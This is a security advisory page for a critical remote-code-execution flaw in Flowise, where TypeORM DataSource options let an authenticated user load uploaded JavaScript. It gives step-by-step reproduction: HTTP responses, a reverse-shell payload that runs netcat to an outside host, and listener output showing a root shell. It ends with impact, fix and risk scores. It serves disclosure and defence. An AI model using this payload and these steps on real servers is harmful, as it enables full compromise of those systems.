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GHSA-g32j-mmxr-gfq5

CriticalCVSS 9 / 10
Published Aug 4, 2026·Last modified Aug 4, 2026
Affected Components(2)
npm logoflowise
< 3.1.3
npm logoflowise-components
< 3.1.3
Description

============================================================================= Security Advisory elttam

Topic: Flowise RCE via TypeORM DataSource

Module: FlowiseAI/Flowise Disclosed: 15-Apr-2026 Credits: Alex Brown Affects: FlowiseAI/Flowise 3.1.2

I. Background

Flowise AI is an open-source, low-code platform for building AI applications—such as chatbots, workflows, and autonomous agents—through an intuitive drag-and-drop interface, minimising the need for extensive coding.

Flowise allows users to connect to remote databases within a flow, which is performed using the TypeORM DataSource.

II. Problem Description

The following nodes allowed users to set arbitrary options for the TypeORM DataSource class using the additionalConfig node input:

This is considered a dangerous coding practice, because the options for the TypeORM DataSource class support loading local files as JavaScript code.

The following documents the steps to reproduce this RCE vulnerability by abusing the additionalConfig input on a MySQL Record Manager (packages/components/nodes/recordmanager/MySQLRecordManager/MySQLrecordManager.ts) node:

  1. Log into a Flowise instance and note the organisation ID in the response from POST /api/v1/auth/login, as shown below.
HTTP/1.1 200 OK
Set-Cookie: token=<REDACTED>; Path=/; HttpOnly; SameSite=Lax
Set-Cookie: refreshToken=<REDACTED>; Path=/; HttpOnly; SameSite=Lax
Set-Cookie: connect.sid=<REDACTED>; Path=/; HttpOnly; SameSite=Lax
Content-Type: application/json; charset=utf-8
Content-Length: 671
ETag: W/"29f-xnGhZVNYDhOOLUuVSPq0rZLC8mE"
Date: Wed, 15 Apr 2026 10:58:44 GMT
Connection: keep-alive
Keep-Alive: timeout=5

{
    "activeOrganizationCustomerId": null,
    "activeOrganizationId": "c060f6ef-047b-47b0-8f1a-15ffa11961cc", <1>
    "activeOrganizationProductId": "",
    "activeOrganizationSubscriptionId": null,
    "activeWorkspace": "Default Workspace",
    "activeWorkspaceId": "3206d8d3-944f-48c6-9332-11e2752b793e",
    "assignedWorkspaces": [
        {
            "id": "3206d8d3-944f-48c6-9332-11e2752b793e",
            "name": "Default Workspace",
            "organizationId": "c060f6ef-047b-47b0-8f1a-15ffa11961cc", <1>
            "role": "owner"
        }
    ],
    "email": "admin@flowise.local",
    "features": {},
    "id": "b60bc90f-c77d-41ba-bb7b-cbd7f9e6d4ab",
    "isOrganizationAdmin": true,
    "isSSO": false,
    "name": "Admin",
    "permissions": [
        "organization",
        "workspace"
    ],
    "roleId": "b1d1a990-b908-1f7f-889b-5603cb093ff1"
}

<1> The organisation ID that is required for a later step.

  1. Create a new document store and use the File Loader to upload a file containing JavaScript code that would be executed outside the vm2 sandbox. The following script is a reverse shell payload that connects to 172.17.0.1:1337 that had a filename of rce.js.
process.mainModule.require('child_process').execSync('/usr/bin/nc 172.17.0.1 1337 -e /bin/sh')
  1. Using a proxy tool such as Burp Suite or the browser's debug network tab, observe the response from the POST /api/v1/document-store/loader/process/{loader_id} endpoint and retrieve the storeId, as demonstrated in the response below.
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 1000
ETag: W/"3e8-7uqpJlOmso3F99EQLpeEzY2xh/o"
Date: Wed, 15 Apr 2026 10:59:34 GMT
Connection: keep-alive
Keep-Alive: timeout=5

{
    "characters": 94,
    "chunks": [
        {
            "chunkNo": 1,
            "docId": "544ff838-bc55-4b28-97a1-c7442710b014",
            "id": "7f5f4d41-f684-4b16-9b3c-c1623678e7a0",
            "metadata": "{\"source\":\"blob\",\"blobType\":\"\"}",
            "pageContent": "process.mainModule.require('child_process').execSync('/usr/bin/nc 172.17.0.1 1337 -e /bin/sh')",
            "storeId": "afb065cc-8b53-4ff3-82d3-a19e012a2ecb" <1>
        }
    ],
    "count": 1,
    "currentPage": 1,
    "description": "",
    "docId": "544ff838-bc55-4b28-97a1-c7442710b014",
    "file": {
        "files": [
            {
                "id": "5becc8f6-713b-4c6b-8ca8-3275791a730c",
                "mimePrefix": "application/x-javascript",
                "name": "rce.js",
                "size": 94,
                "status": "NEW",
                "uploaded": "2026-04-15T10:59:34.039Z"
            }
        ],
        "id": "544ff838-bc55-4b28-97a1-c7442710b014",
        "loaderConfig": {
            "file": "FILE-STORAGE::[\"rce.js\"]",
            "legacyBuild": "",
            "metadata": "",
            "omitMetadataKeys": "",
            "pointerName": "",
            "textSplitter": "",
            "usage": "perPage"
        },
        "loaderId": "fileLoader",
        "loaderName": "RCE File",
        "status": "SYNC",
        "totalChars": 94,
        "totalChunks": 1
    },
    "storeName": "RCE POC Store",
    "workspaceId": "3206d8d3-944f-48c6-9332-11e2752b793e"
}

<1> The store ID that is required for a later step.

  1. Import the following Chatflow and configure the "MySQL Record Manager", "OpenAI Embedding" and "Weaviate" nodes.

typeorm-datasource-rce.json

  1. Open the "Additional Parameters" window for the "MySQL Record Manager" node replace the placeholder values in the additionalConfig.entities setting. The ${HOME} is the home directory of the user running the Flowise server (e.g., /root on the published Docker image). The screenshot below shows an example path for the reverse shell payload that was uploaded in the previous steps.
<img width="2229" height="1148" alt="mysql-datasource-config" src="https://github.com/user-attachments/assets/f4351ee2-9761-458d-a2f8-cf21383394a2" />
  1. Start an Upsert operation and observe the reverse shell payload being executed, as demonstrated in the terminal output below.
$ nc -lnvp 1337
Listening on 0.0.0.0 1337
Connection received on 172.17.0.2 43421
id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

III. Impact

This sandbox escape vulnerability allows an authenticated user to execute arbitrary code on a server running Flowise, resulting in full compromise of the application.

IV. Solution

Do not allow users full control of the options for the TypeORM DataSource class. The following DataSource options are considered dangerous and should not be allowed:

  • extra: Could be abused to provide dangerous driver options.
  • entities: Could be abused to load arbitrary JavaScript files.
  • subscribers: Could be abused to load arbitrary JavaScript files.
  • migrations: Could be abused to load arbitrary JavaScript files.
Risk Scores
Base Score
9.0

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability.

Threat Intelligence
6.1

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
1.06%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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